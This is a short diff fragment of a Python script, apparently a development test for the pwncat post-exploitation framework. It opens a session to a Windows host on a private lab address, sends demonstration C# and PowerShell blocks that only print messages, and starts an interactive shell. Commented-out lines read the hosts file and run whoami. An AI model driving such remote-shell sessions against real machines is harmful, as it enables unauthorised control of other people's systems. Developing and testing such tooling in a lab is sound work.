# Create a manager
@ -8,21 +11,17 @@ manager = pwncat.manager.Manager("data/pwncatrc")
# Establish a session
session = manager.create_session("windows", host="192.168.122.11", port=4444)
session.platform.channel.send(
b"""
csharp
/* ENDASM */
class command {
public void main()
{
System.Console.WriteLine("We can execute C# Now!");
}
}
/* ENDBLOCK */
powershell
Write-Host "And we can execute powershell!"
# ENDBLOCK
"""
)
manager.interactive()
# hosts = (
# session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts"
# )
# with hosts.open() as filp:
# manager.log("Read etc hosts:")
# manager.log(filp.read())
#
# p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True)
# manager.log(f"Current user: {p.communicate()[0].strip()}")
# manager.log(f"Process Exit Status: {p.returncode}")
#
# manager.interactive()